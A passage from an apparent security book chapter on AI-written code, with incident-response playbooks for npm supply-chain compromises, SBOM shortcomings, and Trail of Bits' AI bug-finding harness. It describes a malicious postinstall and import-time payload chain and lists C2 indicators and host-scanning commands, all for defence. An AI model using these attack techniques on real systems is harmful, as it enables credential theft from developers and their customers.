T+15 minutes: block egress to IP 85.137.53[.]71 on ports 8080, 8081, 8091 β€” use a network policy or cloud firewall (AWS Security Group, GCP Firewall) you have in production. Pre-staged rules let you finish in two minutes.

T+30 minutes: pin all packages in the lockfile back to the previous verified version. Don't run npm install again yet β€” edit package-lock.json or yarn.lock by hand and commit.

T+1 hour: purge all node_modules, .npm, and yarn caches on every machine β€” dev, staging, and CI runners. If a CI runner has a cache of the compromised package, it will install it again automatically. You have to delete the cache first.

T+2 hours: scan all hosts that deployed in the last 24 hours for IOCs β€” processes listening on ports 8080-8091 that aren't our service, sync.js files in node_modules, /tmp, /var/tmp, outbound connections that are not on the allowlist.

T+4 hours: rotate every credential accessible from environments that may be affected β€” AWS access keys, database passwords, signing secrets, internal API tokens, GitHub PATs, OAuth refresh tokens, Slack webhooks. Anything that lives in .env or a secret manager in an environment that imports @mastra/*.

T+8 hours: write the first incident report and send it to the CTO, Legal, Customer Success, and your DPO within 8 hours, leaving time to assess whether this is a personal-data breach that triggers HIPAA or GDPR notification. If the breach affects residents of the United States, the HIPAA Breach Notification Rule applies: notify affected individuals without unreasonable delay and no later than 60 days after discovery, and notify the HHS Secretary (and prominent media for breaches affecting more than 500 individuals) on the same timing. If the breach affects EU residents, GDPR Article 33 applies: the controller must notify the lead supervisory authority without undue delay and, where feasible, not later than 72 hours after becoming aware of the breach, with data-subject notification under Article 34 when there is a high risk to rights and freedoms. Coordinate with ThaiCERT, sector regulators, or law enforcement when the facts and your organization's duties make that relevant; do not use them as substitutes for the privacy regulator. CRA is a separate matter for EU digital products: if your organization is a manufacturer in CRA scope and the incident involves an actively exploited vulnerability or a serious incident affecting product security, prepare an early warning within 24 hours to the CSIRT of the Member State where you have your main establishment and to ENISA via the CRA Single Reporting Platform, followed by a main notification within 72 hours. Confirm both paths with counsel and the latest regulator guidance.

T+1 week: post-mortem with the team β€” everyone involved β€” and rewrite the playbook based on what was learned.

AsyncAPI recovery playbook β€” detailed with timestamps.

The AsyncAPI playbook differs from Mastra's in that the payload is at import-time, not install-time β€” so --ignore-scripts does not help. You have to revert the workflow file first, then revoke the token.

T+0 (Snyk alert or user report): run npm view @asyncapi/specs versions --json and check when versions 6.11.2 or 6.11.2-alpha.1 came out. If within the last 24 hours, assume all five versions are compromised.

T+30 minutes: revert the commit in the repository that merged the PR that touched the GitHub Actions workflow. If the commit is on main, revert and push again. Verify the revert doesn't break the build.

T+1 hour: revoke all npm tokens tied to the GitHub Actions workflow β€” go to npm β†’ Access Tokens β†’ delete every token with the automation tag and regenerate. Set expiry to 90 days.

T+2 hours: rotate the signing key for npm publish β€” npm login again with a fresh 2FA token.

T+3 hours: check every environment that may import these packages β€” including CI runners that may have cached them, dev machines of engineers who cloned to test, production pods that build images from the compromised code. Use grep -r "@asyncapi/specs" . --include="*.js" --include="*.json" 2>/dev/null | grep "6.11.2" or the equivalent for other ecosystems.

T+4 hours: block outbound connections to the C2 IPs that Microsoft has published β€” add rules to your egress firewall, AWS Network Firewall, or cloud-native WAF.

T+5 hours: scan hosts for sync.js in Node.js masquerade directories β€” find / -name "sync.js" -path "*/node_modules/*" 2>/dev/null β€” and check find /tmp /var/tmp -type f -newer /etc/hostname 2>/dev/null for files that were just created.

T+8 hours: rebuild the production image from the lockfile pinned to the verified version (for example, @asyncapi/specs@6.11.1), redeploy, and monitor.

T+12 hours: rotate all credentials in environments that may be affected, same as the Mastra playbook.

T+24 hours: close the incident report and open separate notification tracks: HIPAA / GDPR for any qualifying personal-data breach in the US or EU; CRA for any actively exploited vulnerability or serious incident affecting an in-scope EU digital product. Use the deadlines and recipients that apply to each law β€” do not merge them into one report.

What both composite scenes are pointing to is that a playbook written in advance is worth more than one written during the incident. The stress of responding makes people forget steps that are "obvious" to them on a calm day. A good playbook must be "see it and follow it" β€” no interpretation, no decisions, just execute as written. A common mistake is playbooks that "look nice" but are tied to tools you don't have at the time β€” for example, telling people to "use HashiCorp Vault" when your team actually uses AWS Secrets Manager. A playbook that works in reality has to specify the tool names your team actually uses, not the tool you "should" use.

The weapon used was a package called easy-day-js β€” a near-typo of dayjs, the popular date library. Users glancing at it would think it's a typo and ignore it. But when the package gets installed, the postinstall script triggers, disables TLS certificate verification, contacts a command-and-control server, downloads a second-stage payload, and runs it as a detached hidden process to hide from monitoring. Most importantly, the payload has TLS bypass and self-deletion β€” it deletes itself after running to thwart forensic investigation.

23:45 UTC β€” Jay's scene continues with the recovery playbook:

23:45 β€” block outbound traffic to IP 85.137.53[.]71 ports 8080, 8081, 8091 at the egress firewall.

00:05 β€” pin @mastra/core back to version 0.10.3 (the last verified version) in the lockfile.

00:18 β€” purge node_modules and all npm caches, then reinstall.

00:35 β€” scan every host that deployed in the last 12 hours for processes listening on ports 8080, 8081, 8091 that aren't ours.

01:10 β€” rotate all credentials in environments that import @mastra/* β€” including AWS access keys, database passwords, signing secrets.

01:40 β€” write the incident report and send it to the CTO by morning.

Jay spent about 2 hours total, from the first alert to the last credential rotation. No customer data leaked. But his team worked until 4 a.m.

The second incident happened on 14 July 2026. This time it was @asyncapi, a package widely used in the Node.js ecosystem. The attacker published 5 versions within 90 minutes across 4 package names: @asyncapi/specs (both prerelease 6.11.2-alpha.1 and stable 6.11.2), @asyncapi/generator@3.3.1, @asyncapi/generator-components@0.7.1, and @asyncapi/generator-helpers@1.1.1. What made this different from Mastra was the use of import-time payload delivery instead of a postinstall script. That meant running npm install --ignore-scripts β€” the defensive measure many teams use against supply chain attacks β€” does nothing here, because the payload fires at import time, not install time.

The composite scene below uses "Kanchana" as a stand-in for a maintainer team; she is not a real maintainer of @asyncapi/generator-components, and the specific times and dialogue are invented.

Kanchana discovered it on the morning of 15 July 2026 at 07:30 UTC, right after she woke up.

"What the hell, who published @asyncapi/generator-components@0.7.1 at 3 a.m.?" Kanchana opened it up and found that she wasn't the one who published it. But a PR that looked like a "minor documentation fix" had been merged three days earlier by her β€” and in that PR, the GitHub Actions workflow that publishes the package on new tags had been changed. The attacker had used that PR to inject a payload that would be built into the next release.

"It's a GitHub Actions pwn request β€” they send a pull request that looks harmless into a maintainer's repository. When the CI/CD pipeline runs and triggers the workflow, the attacker gets the ability to publish the package, then injects a payload that executes at module-load and decrypts the Miasma modular runtime, a C2 framework designed to let attackers enable modules as needed β€” credential harvesting, propagation, persistence. In this case those modules were disabled, but the door was open. Microsoft Defender detected it as Trojan:JS/MiasmStealer.SC and Trojan:Script/Supychain.A."

Kanchana did what Jay had done three weeks earlier β€” but her playbook was harder, because the payload was at import-time, not install-time. She couldn't just reinstall. She had to:

  1. revert the commit in the repository immediately,
  2. revoke all npm tokens tied to the GitHub Actions workflow,
  3. rotate the signing key for npm publish,
  4. check every environment that might import these packages β€” including CI runners that may have cached them,
  5. block outbound connections to the C2 IPs that Microsoft published,
  6. scan hosts for sync.js in Node.js masquerade directories β€” because the Miasma payload hides in paths that look like system files.

She finished at 13:00 UTC the same day, a total of 5.5 hours.

Both incidents hammer home the problem Docker calls the "SBOM degeneracy problem." In a blog post about generating SBOMs for containers, they found that 86% of organizations that generate SBOMs say it is "challenging." The shocking figure is that 53% of SBOM files lack edges β€” meaning the relationships between components are not recorded. You know that package A exists and package B exists, but you don't know whether A depends on B. And in some SBOM generators, the no-edge rate can reach 100% β€” producing SBOMs that are entirely useless.

The root cause is "tool sprawl" β€” teams use multiple scanning tools for different artifact types, get inconsistent results, and have to spend a lot of time reconciling instead of acting on the results. Often they record declared versions instead of resolved versions β€” that is, the version the developer specified in package.json, not the version the lockfile actually resolves to. So the SBOM doesn't reflect what's actually running in production.

The result is that an SBOM that is "complete" in theory becomes a document that is "a lie" in practice β€” you might have an SBOM that says you're using @asyncapi/specs version 6.11.2, but you don't know whether it was replaced with a malware-laden version. Or you might have an SBOM that says you use dayjs, but you don't know that a deep dependency pulled in easy-day-js.

Docker lays out five criteria for an SBOM that is "actually actionable": Completeness (includes transitive dependencies), Accuracy (resolved versions, not declared ones), Freshness (generated at build time), Verifiability (cryptographically bound to the artifact), and Format Compliance (standard SPDX/CycloneDX). Every criterion has to be met for the SBOM to be called actionable. If even one is missing, the SBOM is a "checkbox artifact" that ticks the compliance box but doesn't actually make you safer.

The legal impact is coming β€” the EU Cyber Resilience Act (CRA) takes full effect on 11 December 2027, but mandatory vulnerability reporting starts on 11 September 2026 for manufacturers and products in CRA scope. When an actively exploited vulnerability or a serious incident affecting product security is found, an early warning within 24 hours must be sent via the CRA Single Reporting Platform to the CSIRT of the Member State where you have your main establishment and to ENISA, followed by a main notification within 72 hours. This is a different obligation from personal-data-breach notifications under HIPAA or GDPR. The problem is: if your SBOM has no edges, your team will be slow to identify which components and products are affected.

In the context of AI-generated code, the SBOM problem gets even more complicated, because AI agents often "decide" to add dependencies without the developer knowing. The AI sees an example in its training data and picks a library that "looks usable," without checking whether the package is still maintained, whether the license is compatible, or whether the package has been a supply chain attack target in the past. The result is that the SBOM of an AI-generated app may contain dependencies the developer has never heard of, never approved, and never monitored.

Most importantly, as Cloudflare found β€” in a world where AI finds vulnerabilities faster, "knowing what components are in your system" is becoming a compliance burden, not a security advantage. If your SBOM is not accurate, you won't know what to patch. And when an AI-driven attacker discovers a vulnerability in a package your SBOM didn't record, you won't have a chance to patch before being attacked.

One more angle worth leaving you with is what the Mastra and AsyncAPI incidents tell us about "speed of response." In the composite scenes, Jay took 2 hours to do recovery, and Kanchana took 5.5 hours. Both worked through the night. These numbers are timelines for rehearsal, not real maintainer response statistics. But in supply chain attacks, "speed of response" often decides whether customer data leaks. If the Mastra compromise had taken 24 hours to detect, the attacker might have had time to steal credentials from every customer who deployed during that window. So good MTTD is "detection within 4 hours" and good MTTR is "containment within 6 hours." Any team whose numbers are higher than that should consider investing in monitoring tools and playbooks before a real incident happens.

Another important angle is the relationship between supply chain attacks and data exfiltration that most people miss. The fact that Mastra was compromised does not mean your code will be stolen β€” it means every credential in your environment is exposed. AWS keys, database passwords, signing secrets, internal API tokens β€” anything accessible from a process that imports @mastra/* is harvested by the Miasma payload. The result is that even after Mastra is deprecated a week later, you still have the risk that those credentials will be used in the next six months. So rotation of every credential in environments that may be affected has to happen immediately, not later. Teams that rotate only the credentials they "know for sure" are compromised usually miss the credentials that are compromised but have no log record.

Looking at the AsyncAPI attack chain in detail, you can see it's a perfect example of a modern supply chain attack β€” not just "embed malware in a package" anymore, but "use the open-source infrastructure as a weapon." The attacker starts by sending a pull request that looks harmless into the maintainer's repository under the name of a credible-looking account. The PR does not directly change the library code β€” instead, it touches the GitHub Actions workflow that publishes the package when a tag is pushed. When the maintainer merges or even just runs CI, the attacker gets the right to execute inside the repository context and can inject a payload that gets built into the next release.

The importance of this attack is the "trigger" it uses. In the past, most supply chain attacks used postinstall scripts that ran at install time. The defense everyone knows is npm install --ignore-scripts. But this time the attacker used a technique that runs at "import time," not "install time." That means even if you disable all scripts, as soon as you consume code that imports the malicious package, the payload fires immediately β€” because it's embedded as a module-level side effect, not a lifecycle script.

The impact of this attack pattern on security teams is that every tool you use to defend against supply chain attacks has to be rethought from scratch. Pinning versions alone is not enough, because the pinned version may already be the contaminated one. Using a lockfile alone is not enough, because the lockfile may lock onto a contaminated version. Scanning postinstall scripts is not enough, because the payload is at import time. You have to move to broader methods, like static analysis that looks at the source code of the dependency, or dynamic analysis that runs the package in a sandbox and observes network/file activity.

Microsoft recommends that affected teams β€” remove all five contaminated versions immediately, purge npm and Yarn caches, search for sync.js in Node.js masquerade directories, block outbound connections to 85.137.53[.]71 on ports 8080, 8081, 8091, and rotate all credentials accessible from environments that import these packages. This is a playbook that takes several hours and has to be done manually β€” there is no off-the-shelf automated tool that handles every step.

Lesson: An SBOM that "exists" does not mean "you're safe." Teams need to (1) generate the SBOM at build time, not in a post-build scan, (2) verify that your SBOM generator does not have a 100% no-edge rate, (3) pin dependencies with a lockfile that has provenance checks, (4) monitor GitHub Actions security because import-time payload delivery is a new vulnerability that bypasses --ignore-scripts, (5) for AI-generated code, audit every dependency the AI adds β€” don't just trust that "AI picks good ones."

For the IT team of a hospital or bank β€” what you can do this week: build an incident response playbook for supply chain attacks in two flavors (postinstall + import-time) β€” and store it somewhere every team member can reach in the middle of the night, not in a document behind a four-layer intranet login. In the composite scene, Jay thought a one-page A4 playbook would cut the work from 2 hours to 30 minutes. The five minimum items every team should have as a document: (1) IP/port of the C2 that Microsoft or CISA has published β€” block it at the egress firewall immediately, (2) the script to revert the lockfile to a verified version, (3) the list of credentials to rotate β€” AWS access keys, database passwords, signing secrets, internal API tokens, (4) the commands to scan the host for IOCs that the report specifies, (5) the contact matrix based on the organization's actual responsibilities β€” the HIPAA / GDPR regulators for qualifying personal-data breaches; ThaiCERT, sector regulators, or law enforcement when the facts warrant; the Bank of Thailand for financial institutions under the relevant rules; NBTC only for agencies or incidents in the telecom/broadcasting scope; and public-health agencies or relevant counterparties for health services. ETDA's role is limited to its duties under electronic-transactions law or digital-platform services β€” it is not a general-purpose CERT.

Beyond the playbook, teams in regulated industries need to think about notification timelines β€” but they must not merge the clocks of different laws. HIPAA is the US health-data privacy law: when an incident qualifies, notify affected individuals and the HHS Secretary without unreasonable delay and no later than 60 days, with media notice for breaches affecting more than 500 individuals. GDPR is the EU personal-data protection law: when an incident qualifies, notify the lead supervisory authority without undue delay and, where feasible, within 72 hours, and notify data subjects when there is a high risk to rights and freedoms. CRA is the EU digital-product security law: starting 11 September 2026, qualifying incidents begin with a 24-hour early warning and a 72-hour main notification to recipients in the CRA system β€” not because EU personal data leaked. Supply chain attacks are often discovered days after the attacker entered, so MTTD (mean time to detect) should be measured against a scenario-based target of 4 hours as an operational goal, not a legal deadline β€” and every organization should confirm the wording with counsel and the latest regulator guidance.

Another important angle is planning for SBOM that goes wrong. The figure that 53% of SBOMs lack edges tells us that "half of the SBOMs produced in the world cannot tell you which component depends on which." That means when a new CVE comes out, you can't just grep your SBOM for the affected component β€” you have to go through the lockfile and re-resolve dependencies, which takes time. And importantly, the result may differ from what the SBOM says. So teams that will survive the CRA era have to make their own SBOM "actually usable" before the law forces them to, not wait until September to start.

The last point β€” the relationship between supply chain attacks and AI-assisted code that we touched on in Β§2.1 is more important than many people think. AI agents often add dependencies that the developer doesn't know about, and those dependencies may be targets of typosquatting (like lodass instead of lodash) or may be compromised in the future. So teams that use AI to write code must have dependency audit as a mandatory step, not optional. Four things to check every time the AI adds a dependency: (1) maintainer reputation β€” check GitHub stars, commit frequency, last release date, (2) the dependency graph of that package β€” what other dependencies does it pull in, (3) typosquatting risk β€” compare against similar packages that already exist, (4) license compatibility β€” because the AI doesn't care about licenses.


2.5 AI-generated Code in Research: Harness vs Model

Scene assembled from public work by Trail of Bits; the names and findings attributed to sources are real, but the dialogue, thoughts, and meeting-room details are composite.

Tuesday morning, 28 July 2026 β€” a small meeting room at the Trail of Bits office in New York.

Kevin Valerio sat in front of his screen, opening the Slack channel #patch-the-planet β€” the channel the Rust compiler maintainer team uses to talk with Trail of Bits about bugs they find. He had just sent a new bug report the night before β€” a soundness hole in the lifetime checker that would let the borrow checker accept unsafe code that should be rejected.

"That's number nine this month," Kevin said to himself. He started writing up the root cause and minimal reproducer.

What's striking is that Kevin is the only engineer working on this in the "Patch the Planet" project β€” but every Rust bug that comes through this project comes from the pipeline he set up. The Rust maintainers who see his reports think Trail of Bits has a whole research team, but in reality there's only one engineer who understands the /goal mode of Codex and built the orchestrator that runs dozens of sessions in parallel.

This is Kevin Valerio's story β€” a Trail of Bits engineer β€” and it captures one of the key points of this chapter. In using AI to find vulnerabilities, the harness (the structure that controls the AI β€” the tools, memory, network, prompts, and monitor that wrap the model) is more important than the model itself. The principle that "harness > model" is one of the most important findings of 2026 for the AppSec community.

Kevin built a variant analysis pipeline that uses Codex /goal to find bugs in the Rust compiler β€” a codebase that gets the most rigorous review in the world. The pipeline works by having an orchestrator read issues tagged P-critical, then spawn a separate Codex session for each issue. Each session runs goal mode with a small prompt asking it to find variants of the bug. The result: every Rust bug that goes through Patch the Planet comes from this pipeline, including the soundness hole and the miscompilations that were patched in Rust 1.98.

There are three key lessons Trail of Bits learned. The first is "let Codex write its own goal" β€” Codex knows itself best. The engineer sends it the threat model file and the context of what to look for, then tells Codex to write its own goal prompt. The second is "define the outcome precisely, not the path" β€” if you define the path, you limit the AI's creativity. The third is "one outcome per agent" β€” putting multiple outcomes into one agent makes optimization uneven, because the agent will trade off between outcomes.

Beyond the variant analysis pipeline, Trail of Bits also uses /goal to convert historical CVEs from each project into Semgrep rules β€” with the condition that the rule must fire on the version that has the vulnerability, and stay silent on the version that's fixed. Then they scan for variants in other projects. The result was finding 11 variant hits across multiple projects, and also 2 potential high-severity privilege-escalation bugs in the SAML component of Keycloak.

Cloudflare's view complements this well β€” in their blog post "Build Your Own Model-Agnostic Vulnerability Harness," they argue that "the future of agentic workflows is not in standalone models, prompts, or single-agent sessions." That means you shouldn't tie your workflow to a single model, because the best model today may be replaced in three months. The approach Cloudflare recommends is (1) use multiple models in rotation in the pipeline, (2) use one model for discovery and another for validation, so vulnerabilities get cross-checked by different logic, (3) design state management that tracks cross-repo dependencies, (4) set the target as a "trusted, triaged queue," not "thousands of raw findings."

This is very important for defenders because it means "racing against AI to build the smartest model" is not a sustainable strategy. The sustainable strategy is "building a harness that uses any model" and "designing a workflow that survives model changes." In practice that means (1) an abstraction layer between the LLM API and the application logic, (2) model-agnostic state management, (3) deterministic verification (such as sanitizer or PoV) that does not depend on the model, (4) cross-validation that uses different models to judge each other.

In terms of supply chain security, what Cloudflare emphasizes is that "the architecture around the vulnerability matters more than the speed of the patch." Likewise, Trail of Bits emphasizes that "harness > model" in vulnerability discovery. The two principles mirror each other β€” both sides say "the outer layer of tooling matters more than the inner layer" in fighting AI-powered attacks.

In practice, what does harness > model actually mean? Trail of Bits's example shows that even with a "good" Codex, what lets Kevin Valerio find every Rust bug that goes through Patch the Planet is the design of the pipeline, not "a smarter model." He built an orchestrator that reads issues tagged P-critical from the Rust repository, and each issue gets sent into a separate Codex session with a small prompt that specifies one goal β€” "find a variant of this bug" β€” not "fix this bug." Because if you tell the AI to look for variants, it can explore wider than if you tell it to fix. In his experiments, every bug he found came from this pipeline, including the soundness hole and the miscompilations that were fixed in Rust 1.98.

An interesting observation about Trail of Bits choosing the "target" of variant analysis instead of telling Codex to find bugs in open-ended mode: they chose to use a "specific known issue" as a seed and let the AI find variants β€” this is using AI as an "amplifier" of existing knowledge, not as a "generator" of new knowledge. The effectiveness is much higher compared to "let AI find bugs by itself," because there is a ground truth to compare against, which reduces the hallucination problem and makes the results reproducible. This principle applies to many tasks the security team does β€” not just variant analysis.

This principle goes against the instinct of many developers who think "if the AI is good enough, it can fix bugs by itself." The truth Trail of Bits discovered is β€” the AI is good enough to "find variants," but not yet good enough to "fix bugs it created itself." Looking for variants is a problem where exploration fits AI well, because there's a clear success criterion (find a variant that matches the pattern of the original bug) and you don't have to commit to any solution. Fixing a bug, on the other hand, requires navigating the constraints of backward compatibility, test coverage, and maintainer preference, which are soft constraints that AI is not yet good at balancing.

Cloudflare adds to this principle with the "model interchange" view β€” the model that's best today may not be best in another three months. If the harness is tied to a single model, the team has to rewrite everything every time the model changes, which is expensive in both money and time. In contrast, if the harness is designed to accept the model as a parameter, swapping models becomes a config change you can make in a few minutes. This is the "future-proofing" that every security team should think about from the start, not after using it for six months and then refactoring.

Overall, what this chapter's Patch the Planet story and Cloudflare tell us is β€” as we enter the era of AI-driven security, the competition is not about "who has the smartest AI" but "who designs the best harness." A good harness must have deterministic verification (such as sanitizer, PoV, or Semgrep rule) to confirm the AI's findings. A good harness must have state management that tracks discoveries across sessions and across repositories. A good harness must have cross-validation between different models to cut the false positives that a single model might fall for. And a good harness must have an abstraction layer that lets you swap models without changing application logic.

The "let Codex write its own goal" principle that Kevin Valerio uses in Patch the Planet deserves elaboration, because it goes against the instinct of many developers who believe "I understand the requirement better than the AI, so I should write the prompt myself." The problem is that we humans tend to know only "the way we think is right," but not "other ways that may also be right." An AI that can write its own goal β€” it explores prompt space wider than a human can in limited time. In practice, Kevin found that the goals Codex writes for itself tend to be "more concise and more comprehensive" than goals written by humans, because the AI knows what keywords it responds well to. This principle applies to every task that requires exploration β€” not just vulnerability hunting, but also test-case generation, code-review-checklist generation, and documentation outlines.

The "one outcome per agent" principle is just as important. It comes from the discovery that when an agent has multiple outcomes, it optimizes the outcome that is "easy to measure" before the outcome that is "most important." For example, if we tell the agent to "find a variant of bug X and verify that the variant doesn't break the test suite," the agent will focus on the first outcome (find a variant) and ignore the second (verify the test suite), because variants are easier to count. Splitting into one agent per outcome lets each outcome get full attention, and the harness can verify which outcomes were actually done.

In terms of scale, Kevin's success with Patch the Planet shows that a good harness lets small teams do work that big teams used to do. Kevin's team has one person handling the Rust compiler β€” a codebase that dozens of security researchers work on all the time β€” because his harness orchestrates dozens of sessions in parallel. A 50-person team that uses the same approach can do work that used to require a 200-person team. But they need an engineer who understands harness design at the level Kevin does, which is a skill that is rare in today's job market.

One more observation about how the harness makes security research into a "production system" instead of a "research project." What Kevin does in Patch the Planet is not an experiment that runs once and ends β€” it's a pipeline that runs every day. Every time a new P-critical issue appears in the Rust repository, it gets fed into the pipeline, and within a few hours a variant-analysis report comes out. The difference between a "research project" and a "production system" is reliability β€” a production system does the same thing over and over without a researcher sitting there watching. Security teams that want to adopt this approach have to think about reliability from the start β€” not build a script that runs once and hope it runs again in another six months.

Lesson: If your team is choosing an AI tool for AppSec, don't ask "which model is the smartest" β€” ask (1) how easily can we swap models when new ones come out, (2) do we have deterministic verification that doesn't depend on the model, (3) how well do we track state between sessions, (4) do we have cross-validation that uses different models to judge each other. If the answer to any of these is "I don't know," your team isn't ready to use AI for AppSec in earnest.

For your organization's security team β€” what you can do this month: design the harness layer for the team β€” not pick the model for the team. The "harness > model" concept from Kevin Valerio translates into business language: before subscribing to the Anthropic, OpenAI, or GLM API, ask first "if this vendor disappears tomorrow, can we move to another vendor in 1 day?" If the answer is no, your team's harness is still too dependent on the model. The five steps Kevin says will change the game right away: (1) isolate LLM API calls into one adapter-layer file β€” when you change the model, you only edit this; (2) separate prompt templates from business logic; (3) use deterministic checks every time the AI sends a finding β€” like "run the sanitizer and see if it really crashes" instead of trusting the AI immediately; (4) keep session state in a database the team can read, not in the AI's memory; (5) for important findings, send them to another model to verify β€” if the two disagree, have a human decide.


2.6 Lessons for Teams That Use AI to Write Code

After walking through the stories of vulnerabilities that AI created (Ek at the bank, Wit at e-commerce), vulnerabilities that AI found (Phi Mor Yoi at the insurance SOC), vulnerabilities that the SBOM couldn't see (Jay at the SaaS startup, Kanchana at AsyncAPI), and the harness that has to be designed better than the model (Kevin Valerio at Trail of Bits), let's summarize practical lessons for teams that are using AI to write code right now.

Checklist before merging AI-generated code.

The first item is every endpoint has an authorization guard tested with negative cases. The AI often creates endpoints that work but skip auth because it "didn't see it in the requirements" or "its tests didn't cover it." Before merging, you have to check that every endpoint has an auth guard covering every role, with negative cases (such as a request with no token) in tests. The second item is every secret must come from an environment variable, not hard-coded. The AI learned from examples in the real world where developers sometimes hard-code keys, so it does too. Before merging, scan for API keys, passwords, tokens that appear in source code. The third item is every dependency the AI adds must pass an audit. Check whether the package is still maintained, whether it has known vulnerabilities, whether the license is compatible, and pin it with a lockfile that has provenance checks. The fourth item is every config key the code references must exist in the actual config. Because the AI may reference a config that was never declared, which makes it use an unsafe default. The fifth item is every import must point to a package that actually exists in the registry. Because the AI may "hallucinate" a package that doesn't exist.

In practice, this checklist should be enforced via the CI pipeline, not just "please read it" β€” because reviewers who read the same checklist start skipping it after they've seen it a hundred times. The right approach is to build an automated check for each item β€” use gitleaks for item 2, use npm audit + osv-scanner for item 3, use a config linter for item 4, use a dependency resolver for item 5. Item 1, about authorization guards, needs semantic analysis because it has to understand "every endpoint that should have a guard," which is hard to do with rule-based tools β€” you may need to bring in another AI to check.

Checklist for the CI/CD pipeline.

The first item is add graph-based invariant verification as a mandatory step. Use tools that convert the codebase into a graph and verify that every reference has a real target, every endpoint has the necessary guards, every import points to a package that actually exists. The second item is generate the SBOM at build time, not in a post-build scan, and verify that the SBOM has complete edges, not just a list of components. The third item is cryptographically bind the SBOM to the artifact so you can prove that the SBOM matches the binary you actually shipped. The fourth item is monitor import-time execution patterns because --ignore-scripts doesn't help against AsyncAPI-style import-time payloads. You have to scan for code that executes via side effects at module load. The fifth item is use an AI vulnerability scanner that has deterministic verification β€” not just "the LLM thinks it is a vulnerability." You need PoV or sanitizer to confirm.

The challenge many teams run into is that items 1 and 5 conflict in practice β€” graph-based verification requires a codebase that can be "split" into clear modules, while an AI vulnerability scanner with PoV requires an environment that can actually "run." Both take a lot of resources. Teams with limited resources should pick one first. The recommendation is start with item 5 (AI vulnerability scanner with PoV) first, because it addresses the problem that's going to happen first (latent vulnerabilities in legacy code), while item 1 is protection against future problems (AI-generated code) that hasn't happened at scale yet.

Checklist for defense architecture.

The first item is design defense-in-depth that doesn't depend on patch speed. As Cloudflare recommends, this means if an attacker finds a vulnerability, there have to be several other barriers in the way, not just hope that you can patch in time. The second item is isolate critical systems from the attack surface. Especially systems that use newly AI-generated code β€” they must not be exposed directly. The third item is have runtime detection for AI-driven reconnaissance. Because attack patterns will change when AI is the one probing; you need monitoring signals that catch the new patterns. The fourth item is prepare for the bumpy transition of 2026-2027. Because this is the period when attackers have AI tools but defenders still rely on traditional patch cycles. You need incident response that's faster and playbooks for "AI-powered attack" scenarios.

In practical defense-in-depth, there are several layers that any team can add without buying expensive tools β€” start with network segmentation that separates production from development and staging, egress filtering that blocks outbound traffic to IPs not on the allowlist (such as the cloud metadata service or the C2 IPs Microsoft/CISA publishes), WAF rules for OWASP Top 10 updated regularly, database activity monitoring for unusual queries, and file integrity monitoring for binaries in production. Each layer has a different cost, but together they make an attacker who finds one vulnerability face several more barriers before reaching the data.

Many organizations choose "detection" layers but forget "prevention" layers β€” for example, they use a SIEM that alerts when new credentials access S3, but they don't have a policy that blocks new credentials from accessing S3. The result is that every new credential created by the Mastra payload will alert, but if nobody's watching alerts at 3 a.m., it's no help. Good defense has both detection and prevention working together β€” prevention stops the attack from happening, detection tells us whether prevention is working.

Questions to ask before bringing in an AI coding tool.

Before adopting an AI coding tool in the team, ask these questions: (1) Does the team understand model-agnostic architecture? If the tool you use is tied to a single model, the team will fall behind when new models come out. (2) Is there a structural code-graph check step in the pipeline? If not yet, don't use AI coding tools at production level. (3) Does AI-generated code pass security review that covers both structural and functional? If review only checks "it looks right," that's not enough. (4) Is there an incident response plan for "AI-powered attack"? If not yet, adopting AI tools will increase the attack surface more than it will help.

Lessons from the people in this chapter β€” what your team should remember:

From Ek at the bank: every AI-assisted PR must be tagged "AI-assisted" and must pass a security-aware reviewer.

From Wit at e-commerce: put structural review into the PR checklist β€” "is this endpoint in a file where other middleware is used?"

From Phi Mor Yoi at the SOC: scan your codebase with an AI tool that has deterministic verification every quarter.

From Jay at the startup: the supply chain attack playbook must be printed on paper, not stored in Confluence behind four login layers.

From Kanchana at AsyncAPI: GitHub Actions workflows that touch the publish path must be reviewed by someone who understands CI/CD security.

From Kevin at Trail of Bits: harness > model β€” design so you can swap models in one day.

One observation we want to leave at the end is that everyone in this chapter started by "doing it themselves" instead of "buying a platform." Ek started by writing a checklist. Wit started by looking at his own PRs. Phi Mor Yoi started by reading logs. Jay started by typing up a playbook. Kanchana started by reverting a commit. Kevin started by writing an orchestrator. None of them started with "we should subscribe to a new platform." That is a good lesson for teams that often think "the problem will go away if we buy the right tool" β€” most of the time, the right tool doesn't exist. You have to build it yourself, or customize from what you have.

Another thing we want to leave you with is don't think of AI as just a tool that helps you do the same work faster. Think of it as changing the type of work the security team has to do. In the past, the security team spent 80% of its time scanning, detecting, and responding. Today, AI can do those things faster. So the security team has to shift its time to work AI can't do β€” designing harnesses, making trade-off decisions, maintaining relationships with stakeholders, and thinking strategically about the big picture. This is the career shift every security professional is facing right now β€” not a threat, but an opportunity if you adapt in time.

Another angle we want to leave for teams in regulated industries is the difference between "doing it yourself" and "buying a platform." Many organizations are now deciding whether to build their own AI vulnerability harness or to subscribe to existing platforms (such as Snyk DeepCode, GitHub Advanced Security, Semgrep AI). The clear answer from Kevin and Cloudflare is β€” if your team doesn't have an engineer who understands both LLMs and security testing at the level Kevin does, building it yourself may not be worth it. But subscribing to a platform also has risks β€” vendor lock-in, model lock-in, pricing that changes with the model used. What we recommend is a hybrid approach β€” use the platform for routine scanning, but build your own harness for the findings that matter most to your organization (such as findings in legacy code with complex business logic), so the team can experiment with multiple models without being tied to the platform.

The career angle for engineers who want to work in this field β€” "harness engineer" will be one of the most in-demand professions in 2026-2028, because every organization using AI in security needs people who understand model behavior, prompt engineering, deterministic verification, and the security domain. The knowledge Kevin Valerio has β€” the ability to orchestrate dozens of agent sessions in parallel with small prompts β€” is a skill that can be learned but takes time. Several universities are starting to offer "AI Security Engineering" as an elective in computer engineering programs, which is a good sign.

The last point β€” the relationship between the harness and patch speed that Cloudflare talked about. The two principles may seem to conflict β€” a good harness lets you find vulnerabilities faster, but "architecture around vulnerability matters more than speed of patch" says that fast patching isn't the final answer. The truth is that both work together β€” a good harness lets you discover faster, which gives you more time to patch carefully instead of rushing out a patch and causing a regression, and good architecture (defense-in-depth) means even if the patch is slow, the system doesn't get compromised because there are other barriers. For teams with limited resources, the best plan is to invest in both at once β€” not pick one or the other.

In the next two years, the most important question for security teams is not "will AI replace us" but "can we use AI without AI adding risk." The answer depends on architecture and process design β€” not just picking a model.

Self-assessment standard β€” use before the end of the month.

For teams that have read this chapter and want to assess themselves, here is a five-question rubric. Answer "yes" or "no" to each, and count how many your team passes.

(1) Every AI-generated code PR in our team is tagged "AI-assisted" in GitHub and passes a security-aware reviewer β€” not a generic one.

